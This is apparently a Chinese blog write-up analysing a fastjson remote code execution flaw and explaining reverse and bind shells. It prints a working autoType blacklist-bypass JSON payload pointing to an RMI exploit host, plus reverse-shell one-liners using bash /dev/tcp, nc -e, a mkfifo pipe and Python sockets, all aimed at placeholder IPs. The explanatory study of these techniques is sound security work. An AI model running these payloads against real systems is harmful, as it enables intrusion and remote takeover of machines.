最近读到一篇文章 fastjson 远程代码执行漏洞分析,文章很详细地分析了漏洞原理并复现了漏洞,主要原理可概括如下:
fastjson
处理以@type
形式传入的类的时候会默认调用该类的 set/get/is
方法,这个特性在解析如下 json
字符串的时候,对恶意 json
串 第一个@type
的解析通过不在黑名单的java.lang.Class
类作为键,将黑名单类 com.sun.rowset.JdbcRowSetImpl
缓存到内部 Map
中。之后解析 第二个@type
时,从Map
中直接取出黑名单类com.sun.rowset.JdbcRowSetImpl
从而绕过黑名单等安全检查,并默认调用set/get/is
方法将 "dataSourceName":"rmi://XXXXX:9999/Exploit"
属性注入,同时调用了 JdbcRowSetImpl#setAutoCommit()
函数{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://XXXXX:9999/Exploit",
"autoCommit":true
}
}
JdbcRowSetImpl#setAutoCommit()
方法执行时会触发connect()
函数,该方法会对成员变量dataSourceName
进行lookup()
,这样传入的属性 "dataSourceName":"rmi://XXXXX:9999/Exploit"
指向的恶意RMI
服务类就会被加载,该类中有问题的静态代码块毫无疑问就被执行了public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
// 触发 connect()
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
// 进行lookup()操作时,会动态加载并实例化恶意 RMI 服务 Java 类
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
......
}
条件有限,没有去准备 RMI服务器,以恶意 Java 类已经注入为前提,以下步骤完成了简易复现
nc -lvvp 9999
,监听自身的 9999
端口shell
进程,将自身的输入输出通过 tcp
连接传输到攻击者机器上,从而完成渗透入侵 //ip 为攻击者服务器 ip
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/9999 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
以上代码等价于在终端界面执行命令Mac: /bin/bash -c 'bash -i >& /dev/tcp/ip/9999 0>&1 &'
Linux: bash -i >& /dev/tcp/ip/9999 0>&1 &
对于命令的解释首先要掌握以下几点:
linux shell 下三种标准的文件描述符:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
>& 符号的含义:
当 >& 后面接文件时,表示将标准输出和标准错误输出重定向至文件
当 >& 后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
bash -i >& /dev/tcp/ip/9999 0>&1 & 命令并不复杂:
- 首先
bash -i
在本地打开一个 bash- 然后就是
/dev/tcp/ip/port
, 这是Linux
中的一个特殊设备,打开这个文件就相当于建立一个socket
连接>&
后面跟上/dev/tcp/ip/port
这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。如果远程开启了对应的端口监听,就会接收到这个bash的标准输出和标准错误输出,这个时候在本机 macos 输入命令,输出以及错误输出的内容就会被传递显示到远程0>&1
代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port
这个文件,也就是远程,那么标准输入也就重定向到了远程,这样就可以直接在远程输入了
上面的渗透入侵方式被称为 反弹shell (reverse shell)
,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转
所谓正向反弹shell
是指在目标机器上监听端口,然后攻击者主动链接。通常步骤如下:
被攻击机器(centos)执行nc -lvvp 8888 -e /bin/bash
,监听自身端口,-e 参数
代表的是创建连接后执行的程序。此处-e /bin/bash
代表在连接到远程后可以在远程执行一个本地 shell(/bin/bash),也就是反弹一个shell给远程
需注意
nc
版本不同可能不支持-e 参数
此时可使用rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 8888 >/tmp/f &
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道
攻击机器(macos)执行 nc IP 8888
主动链接目标机器,链接一旦建立立即获取到目标机器的 shell
反向反弹shell
是在攻击者电脑上监听端口,然后目标机器进行链接。一个 python 命令实现如下:
攻击机器(centos)监听自身nc -lvvp 8888
目标机器(macos)执行 python
代码,建立链接到攻击机器
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"&
以上 Python 代码反弹 shell 的原理如下:
- 首先使用
socket
与远程建立起连接- 接下来使用到了os 库的
dup2()
方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1
和fd2
,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,就相当于将fd2指向于s.fileno(),此处 fileno()返回的就是建立socket连接返回的文件描述符,于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程- 最后使用 os 的
subprocess()
在本地开启一个子进程,传入参数-i
使 bash 以交互模式启动,而此时标准输入、标准输出、标准错误输出都被重定向到了远程,这样就可以在远程执行输入命令了